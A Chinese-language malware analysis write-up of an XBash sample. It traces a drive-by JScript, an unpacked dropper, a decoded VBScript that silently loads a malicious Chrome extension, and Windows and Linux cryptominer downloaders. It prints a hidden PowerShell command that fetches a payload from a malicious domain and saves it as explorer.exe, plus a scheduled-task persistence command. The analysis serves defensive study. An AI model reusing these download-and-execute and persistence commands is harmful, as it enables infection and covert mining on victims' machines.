病毒样本下载来源于i春秋一位cq5f7a075d做者的主题帖《XBash系列病毒样本分析报告》,是一个Iron Group组织使用的XBash恶意软件,样本连接:https://bbs.ichunqiu.com/thread-47475-1-1.html ,推荐几个比较活跃的样本下载区,如卡饭、i春秋、吾爱、VirusShare等都比较活跃。
✃
✎故事仍是要从挂马网站开始,也就是网页下载恶意代码开始分析,以下所示:
图片一:JScript脚本
变量ebc9拖入010中转换成字符串以下所示:
图片二:数组还原
还原Js代码以下所示,图片中给出了还原的代码(已标红):
图片三:代码复原
✍如上述代码,作了如下几件事情:
一、使用了ActiveX控件,注意这个只有IE才支持,由于是微软的。
二、获取了temp的临时路径,拼接了IE浏览器进程名(假装)。
三、判断是否临时文件是否存在,若是不存在则执powershell指令,指令以下:
powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://daknobcq4zal6vbm.tk/tg.jpg',$env:TEMP+'/explorer.exe');意思就是远程下载脚本绕过执行策略并隐藏执行窗口,powershell指令执行通常不会杀毒软件被拦截,这样就达成了目的,下载恶意代码而且假装成explorer.exe。
四、执行下载的恶意代码。
✃
✎关于挂马网站分析完毕,下面就是分析下载下来的恶意代码,以下所示:
图片四:脱壳
如上所示,样本加了一个UPX壳,脱掉修复IAT后样本就被还原了,拉入IDA后以下所示:
图片五:主函数
sub_405920分析以下,先获取了window shell特殊文件夹的标识值,以下所示:
图片六:SHGetSpecialFoladerPathA
继续分析,而后初始化了一段字符串,且求出了字符串大小,流程图以下:
图片七:字符串
其实一开始静态观察猜错了初始化的字符串顺序....,而后动态调试为了验证数据的精准,下面继续调用了函数流程以下,根据字符串初始化进行了获取名称,锁机制设置,以下所示:
图片八:执行流程
根据字符串运算获取了名称,拼接路径以下:
图片九:C:\Program Files\TempBMBD19XS
这里还不算真正开是,只是作了个预热,下面样本开始认真了,以下所示:
图片十:静态分析
如上图所示,获取了运行路径,拼接了chrome.crx,当有路径出现的时候就会有操做,以下所示:
图片十一:chrome.crx
继续分析函数sub_408360,选择了动态调试字符串,由于字符串加密了,因此动态调试分析起来相对轻松一些,内部代码以下所示:
图片十二:sub_408360
分析函数sub_40D0B0的时候,汇编分析时候根据循环规律猜出部分代码(惋惜猜错了)。在OD中字符串解密看一下,看到CreateToolhelp32Snapshot函数时候,就明白这是要建立进程快照,也明白了整个函数的意义,以下所示:
图片十三:sub_40D0B0.CreateToolhelp32Snapshot
遍历进程,杀掉chrome进程,以下所示:
图片十四:Kill chrome.exe
如上图所示,通过这一层关系,根据当前分析的状况,chrome.exe(chrome.crx)样本确定准备这样假装,继续线性分析,如图十二所示:
一、打开注册表SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe,请求Path。
二、若是成功拼接路径C:\Programiles\Google\Chrome\Application\chrome.exe
接下来,在路径下建立文件写入数据了,以下所示:
图片十五:_mkdir and write
解压了数据,收尾工做,利用schtasks计划启动释放的程序,以下所示:
图片十六:WinExec
sub_408360光荣的完成他的使命,查杀chrome.exe进程,且建立释放恶意代码,调用WinExec执行释放的文件。
✃
作了这些事情以后尚未结束,到了分水岭,有意思的是判断了运行样本的命令行参数 ,分析以下:
图片十七:分水岭
不相等则跳转,若是相等最终会则执行流程以下图所示:
图片十八:成功
该文章重点分析不跳转状况(真机环境下没有跳转),以下所示:
图片十九:建立且写入恶意代码
若是上面解压chrome.crx那段汇编熟悉的话,你会发现套路是相同:
一、获取文件名称,拼接文件路径。
二、建立及写入恶意代码过程。
三、那么就该执行恶意代码了呗。
咱们对比一下写入的数据是或否相同,从而验证是否函数功能的正确性,以下所示:
图片二十:写入恶意数据
请求rundll32.exe执行DllUnInstall,而后建立恶意代码流程以下所示:
图片二十一:执行恶意dll
而后调用了ExitProcess结束了本身的一辈子,这个被挂马网站下载下来的病毒干了两件事:
一、运行了sec.vbe
二、运行了xxx.dat(名字是随机dll文件)
✃
因此目标也很明确,被运行的两个程序,依次分析,运行时的顺序有时候也是刻意安排的,接下来分析sec.vbe:
看后缀都明白,这是一个VB语言写的病毒,先打开看一看,长什么样,以下图所示:
图片二十二:加密sec.vb
根据风格应该是微软的ScriptEncode编码算法来加密的,因此先尝试一下,不对在换就好了,解密后代码以下:html
vb中注释是单引号 ' On Error ReSume Next: ' 这一句vb代码是异常处理,错误时会继续运行,不中断 strComputer = ".": Set OBjWMISeRvice = GETobject("winmgmts:\\"&StrComPuter&"\root\CIMV2"): ' set是用于给对象变量赋值 返回ActiveX对象 Set CoLiTems = ObjWmISErvice.ExeCquery("SELECT * FROM Win32_Process where name='chrome.exe' ",,48): 'ExeCquery是指关闭指定用户进程 SeT objShell = CreateObjeCt("WScript.Shell"): ' 建立WScript。sehll对象 starT = False: ' 遍历且与关键字对比 FOr Each ObjITem in colItEms: iF INstr(objitem.CommandLiNe,"silent-launch") > 1 ' vb中变量不区分大小写 字符串区分 thEn start = true: end if: NEXt: ' 关闭进程 function Killproc(strProcname): On ErroR REsume Next: Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"): Set arRProcesses = objWmIServiCe.ExEcQuery("select * from win32_process where Name ='"&strprocname&"'"): for Each Proccess In aRrpRocessEs: proccess.Terminate 0: ' terminate是指事件的终止 Next: ENd FuncTiOn: If nOT start then KillprOc("chrome.exe"): ' 杀死进程 Dim Instpath: ' 根据变量类型为变量分配内存空间 INstpaTh = objShell.Regread("HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\Path"): ' 读取注册表 appdataLocAtIon = objShell.ExpandENvironmenTStriNgs("%LOCALAPPDATA%"): ' 获取路径 C:\Users\xxx\AppData\Local chrome_locatIon = AppDataLoCaTion+"\chrome": ' 拼接路径 C:\Users\xxx\AppData\Local\chrome objShell.eXec(InsTPaTh+"\chrome.exe --load-extension="+chrome_locatIon+" --silent-launch --enable-automation"): ' --load-extension 每次重启chrome的快捷方式会被替换C:\Users\xxx\AppData\Local\chrome ' --silent-launch 表示不开启chrome,静默安装 ' --enable-automation 开启自动化 End if
如何解密呢,在线解密https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm
上面vb脚本分析,对于关键的数据出写出详细的注释,这里不一一罗嗦,sec.vbe关闭chrome,而后替换了了Chrome的快捷方式。
至于.dat是一个dll文件,PEID查看后发现加油vmp虚拟壳,对于这个壳,带壳调试的话,过虚拟、过反调试能够动态调试.....这里有兴趣的朋友自行分析,能力有限不能很好的分析该病毒的出步骤,因此这一个比较关键的环节略过......
经过dll执行(也就是上述省略分析的.dll文件),作了那些事情呢?
一、在windows下释放了一段可执行的恶意代码,包含了powershell指令(用于下载挖矿)
二、Linux下释放了.sh的脚本(用于进程查杀及下载挖矿)
其实就是释放了两个下载器,咱们分析一下释放的下载器。
✃
Windows下Powershell以下所示:
前置知识:
一、-EncodedCommand 接受 base-64 编码字符串版本的命令。使用此参数向 Windows PowerShell 提交须要复杂引号或大括号的命令。 代码中-E
二、-WindowStyle将窗口样式设置为 Normal、Minimized、Maximized 或 Hidden。 代码中-W
三、-noprofile 简写 -NoP, 为不加载 windows poweshell 配置文件
四、-NonInteractive不向用户显示交互式提示。、
打开.ps1脚本,发现被加密,以下所示:
图片二十三:加密的Powershell指令
根据-E的参数,咱们能够先推测使用了Base64进行了总体加密,下面在线Base64解密以后,以下图片所示:
图片二十四:Base64解密
第一次Base64解密后,虽然还有大量的字符不识别,可是露出了关键一些数据,如iex,这就为后续的解密提供了思路,脚本中有IEX关键字了,咱们去掉且重定向到新得文件中,尝试解密,解密后数据以下图所示:以下所示:
图片二十五:Base64解密
分析Function DllMiner函数,以下所示:
图片二十六:Function DllMiner
函数内容将数据下载并截获正确得恶意代码写入到文件,命名为tmp.jpg,执行下载得文件,而后把DllMiner函数写入到额tmp.ps1,以下所示:
图片二十七:tmp.ps1
调用了SchTasks.exe执行计划任务,以下所示:web
SchTasks.exe /Create /SC MINUTE /TN "Update " /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:TMP\tmp.ps1" /MO 6 / 参数介绍: 一、/Create 建立新计划任务。 二、/TN taskname 指定惟一识别这个计划任务的名称 三、/ST starttime 指定运行任务的开始时间 /SC MINUTE (一分钟) 四、/TR taskrun 指定在这个计划时间运行的程序的路径 五、/MO modifier 改进计划类型以容许更好地控制计划重复 总结:一分钟运行一次tmp.ps1,也就是Function DllMiner函数
下载得实际上是挖矿程序,对于挖矿程序得分析不到位,有兴趣得能够分析一下。
补充:
一、电脑不能运行powershell脚本?报错让参考策略修改,修改配置以下图所示:
图片二十八:powershell策略配置
二、Powershell关于IEX混淆解密相关介绍:https://www.codercto.com/a/24286.html
✃
Linux下.sh以下所示:
看看Linux下.sh脚本是如何运行的,以下所示:
图片二十九
一个死循环,两个函数,就是整个脚本的内容,kills函数以下所示:
图片三十
各类kill与pkill,终止其余程序的挖矿进程。而后开始执行downloadyam函数,以下所示:
图片二十一
上述标红是注释,这即是脚本执行的过程,xx.sh总共下载了五个文件:
config.json,bashf,pools.txt,bashg,XbashY
到此两个下载器分析完毕,至于挖矿程序的分析,仍是不献丑了........之后有时间学习研究后,再来补上未分析的部分。
未完待续!算法